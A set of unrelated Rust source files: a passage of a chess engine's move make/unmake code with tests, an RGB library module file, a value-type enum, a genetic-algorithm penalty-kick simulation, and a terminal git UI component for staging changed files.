self.bitboard.w_all ^= WK_CAS_ALL_MASK; self.bitboard.w_rook ^= WK_CAS_R_MASK; self.cas_history &= 0b0011; } else if to == def::CAS_SQUARE_BK { self.squares[def::CAS_SQUARE_BK-2..=def::CAS_SQUARE_BK+1].copy_from_slice(&BK_BEFORE_CAS_SQRS); self.bitboard.b_all ^= BK_CAS_ALL_MASK; self.bitboard.b_rook ^= BK_CAS_R_MASK; self.cas_history &= 0b1100; } else if to == def::CAS_SQUARE_WQ { self.squares[def::CAS_SQUARE_WQ-2..=def::CAS_SQUARE_WQ+2].copy_from_slice(&WQ_BEFORE_CAS_SQRS); self.bitboard.w_all ^= WQ_CAS_ALL_MASK; self.bitboard.w_rook ^= WQ_CAS_R_MASK; self.cas_history &= 0b0011; } else if to == def::CAS_SQUARE_BQ { self.squares[def::CAS_SQUARE_BQ-2..=def::CAS_SQUARE_BQ+2].copy_from_slice(&BQ_BEFORE_CAS_SQRS); self.bitboard.b_all ^= BQ_CAS_ALL_MASK; self.bitboard.b_rook ^= BQ_CAS_R_MASK; self.cas_history &= 0b1100; } } fn do_enp_mov(&mut self, from: usize, to: usize) { let taken_index = if self.player == def::PLAYER_W { to - 8 } else { to + 8 }; self.half_mov_count = 0; let moving_piece = self.squares[from]; let taken_piece = self.squares[taken_index]; let from_index_mask = bitmask::get_bitmask().index_masks[from]; let to_index_mask = bitmask::get_bitmask().index_masks[to]; let taken_index_mask = bitmask::get_bitmask().index_masks[taken_index]; match taken_piece { def::WP => { self.bitboard.w_pawn ^= taken_index_mask; self.bitboard.w_all ^= taken_index_mask; self.bitboard.b_pawn ^= from_index_mask; self.bitboard.b_all ^= from_index_mask; self.bitboard.b_pawn ^= to_index_mask; self.bitboard.b_all ^= to_index_mask; self.wp_count -= 1; }, def::BP => { self.bitboard.b_pawn ^= taken_index_mask; self.bitboard.b_all ^= taken_index_mask; self.bitboard.w_pawn ^= from_index_mask; self.bitboard.w_all ^= from_index_mask; self.bitboard.w_pawn ^= to_index_mask; self.bitboard.w_all ^= to_index_mask; self.bp_count -= 1; }, _ => () } self.hash_key ^= zob_keys::get_board_zob_key(from, moving_piece) ^ zob_keys::get_board_zob_key(to, moving_piece) ^ zob_keys::get_board_zob_key(taken_index, taken_piece); self.taken_piece_stack.push(taken_piece); self.squares[to] = moving_piece; self.squares[from] = 0; self.squares[taken_index] = 0; } fn undo_enp_mov(&mut self, from: usize, to: usize) { let taken_index = if self.player == def::PLAYER_W { to - 8 } else { to + 8 }; let moving_piece = self.squares[to]; let taken_piece = self.taken_piece_stack.pop().unwrap(); self.squares[taken_index] = taken_piece; self.squares[from] = moving_piece; self.squares[to] = 0; let from_index_mask = bitmask::get_bitmask().index_masks[from]; let to_index_mask = bitmask::get_bitmask().index_masks[to]; let taken_index_mask = bitmask::get_bitmask().index_masks[taken_index]; match taken_piece { def::WP => { self.bitboard.w_pawn ^= taken_index_mask; self.bitboard.w_all ^= taken_index_mask; self.bitboard.b_pawn ^= from_index_mask; self.bitboard.b_all ^= from_index_mask; self.bitboard.b_pawn ^= to_index_mask; self.bitboard.b_all ^= to_index_mask; self.wp_count += 1; }, def::BP => { self.bitboard.b_pawn ^= taken_index_mask; self.bitboard.b_all ^= taken_index_mask; self.bitboard.w_pawn ^= from_index_mask; self.bitboard.w_all ^= from_index_mask; self.bitboard.w_pawn ^= to_index_mask; self.bitboard.w_all ^= to_index_mask; self.bp_count += 1; }, _ => () } } fn do_cr_enp_mov(&mut self, from: usize, to: usize) { self.enp_square = if self.player == def::PLAYER_W { to - 8 } else { to + 8 }; self.half_mov_count = 0; let moving_piece = self.squares[from]; let move_index_mask = bitmask::get_bitmask().index_masks[from] ^ bitmask::get_bitmask().index_masks[to]; self.hash_key ^= zob_keys::get_board_zob_key(from, moving_piece) ^ zob_keys::get_board_zob_key(to, moving_piece); if def::on_same_side(def::PLAYER_W, moving_piece) { self.bitboard.w_all ^= move_index_mask; self.bitboard.w_pawn ^= move_index_mask; } else { self.bitboard.b_all ^= move_index_mask; self.bitboard.b_pawn ^= move_index_mask; } self.squares[to] = moving_piece; self.squares[from] = 0; } fn undo_cr_enp_mov(&mut self, from: usize, to: usize) { let moving_piece = self.squares[to]; self.squares[from] = moving_piece; self.squares[to] = 0; let move_index_mask = bitmask::get_bitmask().index_masks[from] ^ bitmask::get_bitmask().index_masks[to]; if def::on_same_side(def::PLAYER_W, moving_piece) { self.bitboard.w_all ^= move_index_mask; self.bitboard.w_pawn ^= move_index_mask; } else { self.bitboard.b_all ^= move_index_mask; self.bitboard.b_pawn ^= move_index_mask; } } } impl fmt::Display for State { fn fmt(&self, formatter: &mut fmt::Formatter) -> fmt::Result { let mut display_string = String::new(); let mut rank_left_index = 56; loop { for file_index in 0..def::DIM_SIZE { display_string.push(util::map_piece_code_to_char(self.squares[rank_left_index + file_index])); display_string.push_str(" "); } display_string.push('\n'); if rank_left_index == 0 { break } rank_left_index -= 8; } write!(formatter, "{}", display_string) } } fn get_player_from_fen(fen_player_string: &str) -> u8 { match fen_player_string { "w" => def::PLAYER_W, "b" => def::PLAYER_B, _ => panic!("invalid player {}", fen_player_string), } } fn get_cas_rights_from_fen(fen_cas_rights_player: &str) -> u8 { if fen_cas_rights_player == "-" { return 0 } let mut cas_rights = 0; if fen_cas_rights_player.contains("K") { cas_rights |= 0b1000; } if fen_cas_rights_player.contains("Q") { cas_rights |= 0b0100; } if fen_cas_rights_player.contains("k") { cas_rights |= 0b0010; } if fen_cas_rights_player.contains("q") { cas_rights |= 0b0001; } cas_rights } fn get_enp_sqr_from_fen(fen_enp_sqr_string: &str) -> usize { if fen_enp_sqr_string == "-" { return 0 } util::map_sqr_notation_to_index(fen_enp_sqr_string) } #[cfg(test)] mod tests { use super::*; use crate::{ def, }; #[test] fn test_new_startpos() { zob_keys::init(); bitmask::init(); let state = State::new("rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1"); assert_eq!(0b1111, state.cas_rights); assert_eq!(0, state.enp_square); assert_eq!(def::PLAYER_W, state.player); } #[test] fn test_do_move_1() { zob_keys::init(); bitmask::init(); let mut state = State::new("rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1"); assert_eq!(0b1111, state.cas_rights); assert_eq!(0, state.enp_square); assert_eq!(def::PLAYER_W, state.player); let w_all = state.bitboard.w_all; let b_all = state.bitboard.b_all; state.do_mov(util::map_sqr_notation_to_index("e2"), util::map_sqr_notation_to_index("e4"), def::MOV_CR_ENP, 0); assert_eq!(0b1111, state.cas_rights); assert_eq!(util::map_sqr_notation_to_index("e3"), state.enp_square); assert_eq!(def::PLAYER_B, state.player); state.undo_mov(util::map_sqr_notation_to_index("e2"), util::map_sqr_notation_to_index("e4"), def::MOV_CR_ENP); assert_eq!(0b1111, state.cas_rights); assert_eq!(0, state.enp_square); assert_eq!(def::PLAYER_W, state.player); assert_eq!(w_all, state.bitboard.w_all); assert_eq!(b_all, state.bitboard.b_all); } #[test] fn test_do_move_2() { zob_keys::init(); bitmask::init(); let mut state = State::new("r1bqk1nr/pPpp1ppp/2n5/2b1p3/2B1P3/2N2N2/P1PP1PPP/R1BQK2R w KQkq - 0 1"); assert_eq!(0b1111, state.cas_rights); assert_eq!(0, state.enp_square); assert_eq!(def::PLAYER_W, state.player); assert_eq!(def::BR, state.squares[util::map_sqr_notation_to_index("a8")]); let w_all = state.bitboard.w_all; let b_all = state.bitboard.b_all; state.do_mov(util::map_sqr_notation_to_index("b7"), util::map_sqr_notation_to_index("a8"), def::MOV_PROMO, def::WQ); assert_eq!(0b1111, state.cas_rights); assert_eq!(0, state.enp_square); assert_eq!(def::PLAYER_B, state.player); assert_eq!(def::WQ, state.squares[util::map_sqr_notation_to_index("a8")]); state.undo_mov(util::map_sqr_notation_to_index("b7"), util::map_sqr_notation_to_index("a8"), def::MOV_PROMO); assert_eq!(0b1111, state.cas_rights); assert_eq!(0, state.enp_square); assert_eq!(def::PLAYER_W, state.player); assert_eq!(def::BR, state.squares[util::map_sqr_notation_to_index("a8")]); assert_eq!(w_all, state.bitboard.w_all); assert_eq!(b_all, state.bitboard.b_all); } #[test] fn test_do_move_3() { zob_keys::init(); bitmask::init(); let mut state = State::new("r3k2r/pbppnppp/1bn2q2/4p3/2B5/2N1PN2/PPPP1PPP/R1BQK2R b Qkq - 0 1"); assert_eq!(0b0111, state.cas_rights); assert_eq!(0b0000, state.cas_history); assert_eq!(0, state.enp_square); assert_eq!(def::PLAYER_B, state.player); assert_eq!(def::BK, state.squares[util::map_sqr_notation_to_index("e8")]); assert_eq!(def::BR, state.squares[util::map_sqr_notation_to_index("a8")]); assert_eq!(0, state.squares[util::map_sqr_notation_to_index("c8")]); let w_all = state.bitboard.w_all; let b_all = state.bitboard.b_all; state.do_mov(util::map_sqr_notation_to_index("e8"), util::map_sqr_notation_to_index("c8"), def::MOV_CAS, 0); assert_eq!(0b0100, state.cas_rights); assert_eq!(0b0011, state.cas_history); assert_eq!(0, state.enp_square); assert_eq!(def::PLAYER_W, state.player); assert_eq!(0, state.squares[util::map_sqr_notation_to_index("e8")]); assert_eq!(0, state.squares[util::map_sqr_notation_to_index("a8")]); assert_eq!(def::BK, state.squares[util::map_sqr_notation_to_index("c8")]); assert_eq!(def::BR, state.squares[util::map_sqr_notation_to_index("d8")]); state.undo_mov(util::map_sqr_notation_to_index("e8"), util::map_sqr_notation_to_index("c8"), def::MOV_CAS); assert_eq!(0b0111, state.cas_rights); assert_eq!(0b0000, state.cas_history); assert_eq!(0, state.enp_square); assert_eq!(def::PLAYER_B, state.player); assert_eq!(def::BK, state.squares[util::map_sqr_notation_to_index("e8")]); assert_eq!(def::BR, state.squares[util::map_sqr_notation_to_index("a8")]); assert_eq!(0, state.squares[util::map_sqr_notation_to_index("c8")]); assert_eq!(0, state.squares[util::map_sqr_notation_to_index("d8")]); assert_eq!(w_all, state.bitboard.w_all); assert_eq!(b_all, state.bitboard.b_all); } #[test] fn test_do_move_4() { zob_keys::init(); bitmask::init(); let mut state = State::new("4r1k1/pp1Q1ppp/3B4/q2p4/5P1P/P3PbPK/1P1r4/2R5 b - - 3 5"); assert_eq!(0b0000, state.cas_rights); assert_eq!(0, state.enp_square); assert_eq!(def::PLAYER_B, state.player); assert_eq!(0, state.squares[util::map_sqr_notation_to_index("e2")]); assert_eq!(def::BR, state.squares[util::map_sqr_notation_to_index("d2")]); state.do_mov(util::map_sqr_notation_to_index("d2"), util::map_sqr_notation_to_index("e2"), def::MOV_REG, 0); assert_eq!(0b0000, state.cas_rights); assert_eq!(0, state.enp_square); assert_eq!(def::PLAYER_W, state.player); assert_eq!(0, state.squares[util::map_sqr_notation_to_index("d2")]); assert_eq!(def::BR, state.squares[util::map_sqr_notation_to_index("e2")]); state.do_mov(util::map_sqr_notation_to_index("d7"), util::map_sqr_notation_to_index("e8"), def::MOV_REG, 0); state.do_mov(util::map_sqr_notation_to_index("e2"), util::map_sqr_notation_to_index("h2"), def::MOV_REG, 0); state.undo_mov(util::map_sqr_notation_to_index("e2"), util::map_sqr_notation_to_index("h2"), def::MOV_REG); state.undo_mov(util::map_sqr_notation_to_index("d7"), util::map_sqr_notation_to_index("e8"), def::MOV_REG); state.undo_mov(util::map_sqr_notation_to_index("d2"), util::map_sqr_notation_to_index("e2"), def::MOV_REG); assert_eq!(0b0000, state.cas_rights); assert_eq!(0, state.enp_square); assert_eq!(def::PLAYER_B, state.player); assert_eq!(0, state.squares[util::map_sqr_notation_to_index("e2")]); assert_eq!(def::BR, state.squares[util::map_sqr_notation_to_index("d2")]); } #[test] fn test_do_move_5() { zob_keys::init(); bitmask::init(); let mut state = State::new("r1bqkbnr/ppp1p1pp/2n5/3pPp2/3P4/8/PPP2PPP/RNBQKBNR w KQkq f6 0 1"); assert_eq!(0b1111, state.cas_rights); assert_eq!(util::map_sqr_notation_to_index("f6"), state.enp_square); assert_eq!(def::PLAYER_W, state.player); assert_eq!(0, state.squares[util::map_sqr_notation_to_index("f6")]); assert_eq!(def::BP, state.squares[util::map_sqr_notation_to_index("f5")]); assert_eq!(def::WP, state.squares[util::map_sqr_notation_to_index("e5")]); state.do_mov(util::map_sqr_notation_to_index("e5"), util::map_sqr_notation_to_index("f6"), def::MOV_ENP, 0); assert_eq!(0b1111, state.cas_rights); assert_eq!(0, state.enp_square); assert_eq!(def::PLAYER_B, state.player); assert_eq!(def::WP, state.squares[util::map_sqr_notation_to_index("f6")]); assert_eq!(0, state.squares[util::map_sqr_notation_to_index("f5")]); assert_eq!(0, state.squares[util::map_sqr_notation_to_index("e5")]); state.undo_mov(util::map_sqr_notation_to_index("e5"), util::map_sqr_notation_to_index("f6"), def::MOV_ENP); assert_eq!(0b1111, state.cas_rights); assert_eq!(util::map_sqr_notation_to_index("f6"), state.enp_square); assert_eq!(def::PLAYER_W, state.player); assert_eq!(0, state.squares[util::map_sqr_notation_to_index("f6")]); assert_eq!(def::BP, state.squares[util::map_sqr_notation_to_index("f5")]); assert_eq!(def::WP, state.squares[util::map_sqr_notation_to_index("e5")]); } #[test] fn test_do_move_6() { zob_keys::init(); bitmask::init(); let mut state = State::new("r2q1rk1/pP1p2pp/Q4n2/bbp1p3/Np6/1B1P1NBn/pPP2PPP/R3K2R b KQ - 0 1"); state.do_mov(util::map_sqr_notation_to_index("e5"), util::map_sqr_notation_to_index("e4"), def::MOV_REG, 0); state.do_mov(util::map_sqr_notation_to_index("f3"), util::map_sqr_notation_to_index("d2"), def::MOV_REG, 0); state.do_mov(util::map_sqr_notation_to_index("d7"), util::map_sqr_notation_to_index("d5"), def::MOV_REG, 0); state.do_mov(util::map_sqr_notation_to_index("f2"), util::map_sqr_notation_to_index("f4"), def::MOV_CR_ENP, 0); assert_eq!(util::map_sqr_notation_to_index("f3"), state.enp_square); assert_eq!(def::PLAYER_B, state.player); assert_eq!(0, state.squares[util::map_sqr_notation_to_index("f3")]); assert_eq!(def::WP, state.squares[util::map_sqr_notation_to_index("f4")]); assert_eq!(def::BP, state.squares[util::map_sqr_notation_to_index("e4")]); let w_all = state.bitboard.w_all; let b_all = state.bitboard.b_all; state.do_mov(util::map_sqr_notation_to_index("e4"), util::map_sqr_notation_to_index("f3"), def::MOV_ENP, 0); assert_eq!(0, state.enp_square); assert_eq!(def::PLAYER_W, state.player); assert_eq!(def::BP, state.squares[util::map_sqr_notation_to_index("f3")]); assert_eq!(0, state.squares[util::map_sqr_notation_to_index("f4")]); assert_eq!(0, state.squares[util::map_sqr_notation_to_index("e4")]); state.do_mov(util::map_sqr_notation_to_index("g2"), util::map_sqr_notation_to_index("f3"), def::MOV_REG, 0); assert_eq!(0, state.enp_square); assert_eq!(def::PLAYER_B, state.player); assert_eq!(def::WP, state.squares[util::map_sqr_notation_to_index("f3")]); assert_eq!(0, state.squares[util::map_sqr_notation_to_index("f4")]); assert_eq!(0, state.squares[util::map_sqr_notation_to_index("e4")]); state.undo_mov(util::map_sqr_notation_to_index("g2"), util::map_sqr_notation_to_index("f3"), def::MOV_REG); state.undo_mov(util::map_sqr_notation_to_index("e4"), util::map_sqr_notation_to_index("f3"), def::MOV_ENP); assert_eq!(util::map_sqr_notation_to_index("f3"), state.enp_square); assert_eq!(def::PLAYER_B, state.player); assert_eq!(0, state.squares[util::map_sqr_notation_to_index("f3")]); assert_eq!(def::WP, state.squares[util::map_sqr_notation_to_index("f4")]); assert_eq!(def::BP, state.squares[util::map_sqr_notation_to_index("e4")]); assert_eq!(w_all, state.bitboard.w_all); assert_eq!(b_all, state.bitboard.b_all); } #[test] fn test_do_move_7() { zob_keys::init(); bitmask::init(); let mut state = State::new("r1bqk2r/pppp1ppp/2n2n2/2b1p3/2B1P3/5N2/PPPP1PPP/RNBQK2R w KQkq - 0 1"); assert_eq!(0b1111, state.cas_rights); assert_eq!(0b0000, state.cas_history); state.do_mov(util::map_sqr_notation_to_index("e1"), util::map_sqr_notation_to_index("e2"), def::MOV_REG, 0); assert_eq!(0b0011, state.cas_rights); assert_eq!(0b0000, state.cas_history); state.undo_mov(util::map_sqr_notation_to_index("e2"), util::map_sqr_notation_to_index("e1"), def::MOV_REG); assert_eq!(0b1111, state.cas_rights); assert_eq!(0b0000, state.cas_history); } #[test] fn test_zob_hash_1() { zob_keys::init(); bitmask::init(); let mut state = State::new("r1bqkb1r/pppp1ppp/2n2n2/4p3/2B1P3/5N2/PPPP1PPP/RNBQK2R w KQkq - 0 1"); let original_hash = state.hash_key; state.do_mov(util::map_sqr_notation_to_index("e1"), util::map_sqr_notation_to_index("g1"), def::MOV_CAS, 0); let hash_after_castle = state.hash_key; state.undo_mov(util::map_sqr_notation_to_index("e1"), util::map_sqr_notation_to_index("g1"), def::MOV_CAS); assert_eq!(state.hash_key, original_hash); state.do_mov(util::map_sqr_notation_to_index("e1"), util::map_sqr_notation_to_index("e2"), def::MOV_REG, 0); state.do_mov(util::map_sqr_notation_to_index("f8"), util::map_sqr_notation_to_index("e7"), def::MOV_REG, 0); state.do_mov(util::map_sqr_notation_to_index("h1"), util::map_sqr_notation_to_index("e1"), def::MOV_REG, 0); state.do_mov(util::map_sqr_notation_to_index("e7"), util::map_sqr_notation_to_index("f8"), def::MOV_REG, 0); state.do_mov(util::map_sqr_notation_to_index("e2"), util::map_sqr_notation_to_index("f1"), def::MOV_REG, 0); state.do_mov(util::map_sqr_notation_to_index("f8"), util::map_sqr_notation_to_index("e7"), def::MOV_REG, 0); state.do_mov(util::map_sqr_notation_to_index("f1"), util::map_sqr_notation_to_index("g1"), def::MOV_REG, 0); state.do_mov(util::map_sqr_notation_to_index("e7"), util::map_sqr_notation_to_index("f8"), def::MOV_REG, 0); state.do_mov(util::map_sqr_notation_to_index("e1"), util::map_sqr_notation_to_index("f1"), def::MOV_REG, 0); assert_eq!(state.hash_key, hash_after_castle); } #[test] fn test_zob_hash_2() { zob_keys::init(); bitmask::init(); let mut state = State::new("r3kb1r/ppp2ppp/2np1n2/4p3/2B1P3/3P1N2/PPP2PPP/RNBQK2R b KQkq - 0 1"); let original_hash = state.hash_key; state.do_mov(util::map_sqr_notation_to_index("e8"), util::map_sqr_notation_to_index("c8"), def::MOV_CAS, 0); let hash_after_castle = state.hash_key; state.undo_mov(util::map_sqr_notation_to_index("e8"), util::map_sqr_notation_to_index("c8"), def::MOV_CAS); assert_eq!(state.hash_key, original_hash); state.do_mov(util::map_sqr_notation_to_index("e8"), util::map_sqr_notation_to_index("d7"), def::MOV_REG, 0); state.do_mov(util::map_sqr_notation_to_index("b1"), util::map_sqr_notation_to_index("c3"), def::MOV_REG, 0); state.do_mov(util::map_sqr_notation_to_index("a8"), util::map_sqr_notation_to_index("d8"), def::MOV_REG, 0); state.do_mov(util::map_sqr_notation_to_index("c3"), util::map_sqr_notation_to_index("b1"), def::MOV_REG, 0); state.do_mov(util::map_sqr_notation_to_index("d7"), util::map_sqr_notation_to_index("c8"), def::MOV_REG, 0); assert_eq!(state.hash_key, hash_after_castle); } #[test] fn test_bitboard_1() { zob_keys::init(); bitmask::init(); let mut state = State::new("r3kb1r/ppp2ppp/2np1n2/4p3/2B1P3/3P1N2/PPP2PPP/RNBQK2R w KQkq - 0 1"); assert_eq!(0b00000000_00000000_00000000_00000000_00010000_00001000_11100111_00000000, state.bitboard.w_pawn); assert_eq!(0b00000000_11100111_00001000_00010000_00000000_00000000_00000000_00000000, state.bitboard.b_pawn); assert_eq!(0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_10000001, state.bitboard.w_rook); assert_eq!(0b10000001_00000000_00000000_00000000_00000000_00000000_00000000_00000000, state.bitboard.b_rook); state.do_mov(util::map_sqr_notation_to_index("e1"), util::map_sqr_notation_to_index("g1"), def::MOV_CAS, 0); assert_eq!(0b00000000_00000000_00000000_00000000_00010000_00001000_11100111_00000000, state.bitboard.w_pawn); assert_eq!(0b00000000_11100111_00001000_00010000_00000000_00000000_00000000_00000000, state.bitboard.b_pawn); assert_eq!(0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00100001, state.bitboard.w_rook); assert_eq!(0b10000001_00000000_00000000_00000000_00000000_00000000_00000000_00000000, state.bitboard.b_rook); state.do_mov(util::map_sqr_notation_to_index("e8"), util::map_sqr_notation_to_index("c8"), def::MOV_CAS, 0); assert_eq!(0b00000000_00000000_00000000_00000000_00010000_00001000_11100111_00000000, state.bitboard.w_pawn); assert_eq!(0b00000000_11100111_00001000_00010000_00000000_00000000_00000000_00000000, state.bitboard.b_pawn); assert_eq!(0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00100001, state.bitboard.w_rook); assert_eq!(0b10001000_00000000_00000000_00000000_00000000_00000000_00000000_00000000, state.bitboard.b_rook); state.do_mov(util::map_sqr_notation_to_index("b2"), util::map_sqr_notation_to_index("b4"), def::MOV_CR_ENP, 0); assert_eq!(0b00000000_00000000_00000000_00000000_00010010_00001000_11100101_00000000, state.bitboard.w_pawn); assert_eq!(0b00000000_11100111_00001000_00010000_00000000_00000000_00000000_00000000, state.bitboard.b_pawn); assert_eq!(0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00100001, state.bitboard.w_rook); assert_eq!(0b10001000_00000000_00000000_00000000_00000000_00000000_00000000_00000000, state.bitboard.b_rook); state.do_mov(util::map_sqr_notation_to_index("b7"), util::map_sqr_notation_to_index("b6"), def::MOV_REG, 0); state.do_mov(util::map_sqr_notation_to_index("b4"), util::map_sqr_notation_to_index("b5"), def::MOV_REG, 0); state.do_mov(util::map_sqr_notation_to_index("a7"), util::map_sqr_notation_to_index("a5"), def::MOV_CR_ENP, 0); state.do_mov(util::map_sqr_notation_to_index("b5"), util::map_sqr_notation_to_index("a6"), def::MOV_ENP, 0); assert_eq!(0b00000000_00000000_00000001_00000000_00010000_00001000_11100101_00000000, state.bitboard.w_pawn); assert_eq!(0b00000000_11100100_00001010_00010000_00000000_00000000_00000000_00000000, state.bitboard.b_pawn); assert_eq!(0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00100001, state.bitboard.w_rook); assert_eq!(0b10001000_00000000_00000000_00000000_00000000_00000000_00000000_00000000, state.bitboard.b_rook); } }
// RGB standard library // Written in 2020 by // Dr. Maxim Orlovsky <orlovsky@pandoracore.com> // // To the extent possible under law, the author(s) have dedicated all // copyright and related and neighboring rights to this software to // the public domain worldwide. This software is distributed without // any warranty. // // You should have received a copy of the MIT License // along with this software. // If not, see <https://opensource.org/licenses/MIT>. mod asset; mod invoice; mod outcoins; pub mod schema; pub use asset::{Allocation, Asset, Coins, Issue, Supply}; pub use invoice::{Invoice, Outpoint, OutpointDescriptor}; pub use outcoins::{Outcoincealed, Outcoins}; pub use schema::SchemaError;
//! The main storage for values travelling through the system. //! We have support for singular as well as composite values. use serde::{Deserialize, Serialize}; #[derive(Debug, Clone, Copy)] pub enum ValueKind { Int, Float, String, } impl From<u8> for ValueKind { fn from(kind: u8) -> ValueKind { match kind { 1 => ValueKind::Int, 2 => ValueKind::Float, 3 => ValueKind::String, _ => panic!("Invalid ValueKind {}", kind), } } } impl Into<u8> for ValueKind { fn into(self) -> u8 { match self { ValueKind::Int => 1, ValueKind::Float => 2, ValueKind::String => 3, } } } #[derive(Serialize, Deserialize, Debug, Clone, PartialEq)] pub enum Value { Int(i32), Float(f32), String(String), IntList(Vec<i32>), FloatList(Vec<f32>), StringList(Vec<String>), } impl Value { pub fn len(&self) -> usize { match self { Value::Int(_) | Value::Float(_) | Value::String(_) => 1, Value::IntList(spread) => spread.len(), Value::FloatList(spread) => spread.len(), Value::StringList(spread) => spread.len(), } } pub fn get_int(&self, index: usize) -> i32 { match self { Value::Int(v) => *v, Value::Float(v) => *v as i32, Value::String(_) => 0, Value::IntList(v) => v[index % v.len()], Value::FloatList(v) => v[index % v.len()] as i32, Value::StringList(_) => 0, } } }
use rand::{Rng, thread_rng}; struct Gene { strategy: Vec<f64>, score: u32, } impl Gene { fn build_random_gene() -> Gene { let mut rng = thread_rng(); let mut a: Vec<f64> = vec![0f64; 6 ]; a = a.into_iter().map(|_item| { rng.gen_range(0f64..1f64)}).collect(); let mut gene = Gene { strategy: a, score: 0u32 }; gene.normalize(); gene } fn normalize(&mut self){ let total : f64 = self.strategy.iter().fold(0f64, |acc,x| {acc+x}); for item in self.strategy.iter_mut(){ *item = *item/total; } } fn choose(&self) -> usize { //let total : f64 = self.strategy.iter().fold(0f64, |acc, x|{ acc+x}); let mut rng = thread_rng(); let mut val = rng.gen_range(0f64..1f64); let mut a = 0; while a<6 { if self.strategy[a] > val { break; } val-=self.strategy[a]; a+=1; } return a } //fn match(&mut self, &mut other){ // // } } fn shuffle_pop(pop : &mut Vec<Gene>){ pop.sort_by_key(|item| {rand::thread_rng().gen_range(0..1000)}); } fn main() { const GOAL_PROBS : [f64; 6] = [ 0.75, 0.95, 0.85, 0.85, 1.0, 0.95]; println!("Generating Random Kickers Popualtion"); let mut kickers : Vec<Gene> = Vec::new(); for i in 0..50 { kickers.push(Gene::build_random_gene()); //println!("{:?}", kickers[i].strategy) } println!("Generating Random Keepers Popualtion"); let mut keepers : Vec<Gene> = Vec::new(); for i in 0..50 { keepers.push(Gene::build_random_gene()); //println!("{:?}", kickers[i].strategy) } println!("Shuffling populations"); shuffle_pop(&mut keepers); shuffle_pop(&mut kickers); for (kicker, keeper) in kickers.iter_mut().zip(keepers.iter_mut()){ for _i in 0..10000{ let kick_choice = kicker.choose(); let keep_choice = keeper.choose(); if kick_choice == keep_choice { keeper.score += 1; } else { let prob : f64; match kick_choice { 0 => prob = 0.75, 1 => prob = 0.90, 2 => prob = 0.85, 3 => prob = 0.85, 4 => prob = 1.0, _ => prob = 0.9 } if rand::thread_rng().gen_range(0f64..1f64) < prob { kicker.score += 1; } } } println!("{} x {}", kicker.score, keeper.score); } }
use super::{CommandBlocking, DrawableComponent}; use crate::{ components::{CommandInfo, Component}, keys, queue::{InternalEvent, NeedsUpdate, Queue}, strings, ui, }; use asyncgit::{hash, sync, StatusItem, StatusItemType, CWD}; use crossterm::event::Event; use std::{ borrow::Cow, cmp, convert::{From, TryFrom}, path::Path, }; use strings::commands; use tui::{ backend::Backend, layout::Rect, style::{Color, Modifier, Style}, widgets::Text, Frame, }; /// pub struct ChangesComponent { title: String, items: Vec<StatusItem>, selection: Option<usize>, focused: bool, show_selection: bool, is_working_dir: bool, queue: Queue, } impl ChangesComponent { /// pub fn new( title: &str, focus: bool, is_working_dir: bool, queue: Queue, ) -> Self { Self { title: title.to_string(), items: Vec::new(), selection: None, focused: focus, show_selection: focus, is_working_dir, queue, } } /// pub fn update(&mut self, list: &[StatusItem]) { if hash(&self.items) != hash(list) { self.items = list.to_owned(); let old_selection = self.selection.unwrap_or_default(); self.selection = if self.items.is_empty() { None } else { Some(cmp::min(old_selection, self.items.len() - 1)) }; } } /// pub fn selection(&self) -> Option<StatusItem> { match self.selection { None => None, Some(i) => Some(self.items[i].clone()), } } /// pub fn focus_select(&mut self, focus: bool) { self.focus(focus); self.show_selection = focus; } /// pub fn is_empty(&self) -> bool { self.items.is_empty() } fn move_selection(&mut self, delta: i32) -> bool { let items_len = self.items.len(); if items_len > 0 { if let Some(i) = self.selection { if let Ok(mut i) = i32::try_from(i) { if let Ok(max) = i32::try_from(items_len) { i = cmp::min(i + delta, max - 1); i = cmp::max(i, 0); if let Ok(i) = usize::try_from(i) { self.selection = Some(i); self.queue.borrow_mut().push_back( InternalEvent::Update( NeedsUpdate::DIFF, ), ); return true; } } } } } false } fn index_add_remove(&mut self) -> bool { if let Some(i) = self.selection() { if self.is_working_dir { let path = Path::new(i.path.as_str()); return sync::stage_add(CWD, path); } else { let path = Path::new(i.path.as_str()); return sync::reset_stage(CWD, path); } } false } fn dispatch_reset_workdir(&mut self) -> bool { if let Some(i) = self.selection() { self.queue .borrow_mut() .push_back(InternalEvent::ConfirmResetFile(i.path)); return true; } false } } impl DrawableComponent for ChangesComponent { fn draw<B: Backend>(&self, f: &mut Frame<B>, r: Rect) { let item_to_text = |idx: usize, i: &StatusItem| -> Text { let selected = self.show_selection && self.selection.map_or(false, |e| e == idx); let txt = if selected { format!("> {}", i.path) } else { format!(" {}", i.path) }; let mut style = Style::default().fg( match i.status.unwrap_or(StatusItemType::Modified) { StatusItemType::Modified => Color::LightYellow, StatusItemType::New => Color::LightGreen, StatusItemType::Deleted => Color::LightRed, _ => Color::White, }, ); if selected { style = style.modifier(Modifier::BOLD); //.fg(Color::White); } Text::Styled(Cow::from(txt), style) }; ui::draw_list( f, r, &self.title.to_string(), self.items .iter() .enumerate() .map(|(idx, e)| item_to_text(idx, e)), if self.show_selection { self.selection } else { None }, self.focused, ); } } impl Component for ChangesComponent { fn commands( &self, out: &mut Vec<CommandInfo>, _force_all: bool, ) -> CommandBlocking { let some_selection = self.selection().is_some(); if self.is_working_dir { out.push(CommandInfo::new( commands::STAGE_FILE, some_selection, self.focused, )); out.push(CommandInfo::new( commands::RESET_FILE, some_selection, self.focused, )); } else { out.push(CommandInfo::new( commands::UNSTAGE_FILE, some_selection, self.focused, )); } out.push(CommandInfo::new( commands::SCROLL, self.items.len() > 1, self.focused, )); CommandBlocking::PassingOn } fn event(&mut self, ev: Event) -> bool { if self.focused { if let Event::Key(e) = ev { return match e { keys::STATUS_STAGE_FILE => { if self.index_add_remove() { self.queue.borrow_mut().push_back( InternalEvent::Update( NeedsUpdate::ALL, ), ); } true } keys::STATUS_RESET_FILE => { self.is_working_dir && self.dispatch_reset_workdir() } keys::MOVE_DOWN => self.move_selection(1), keys::MOVE_UP => self.move_selection(-1), _ => false, }; } } false } fn focused(&self) -> bool { self.focused } fn focus(&mut self, focus: bool) { self.focused = focus } }
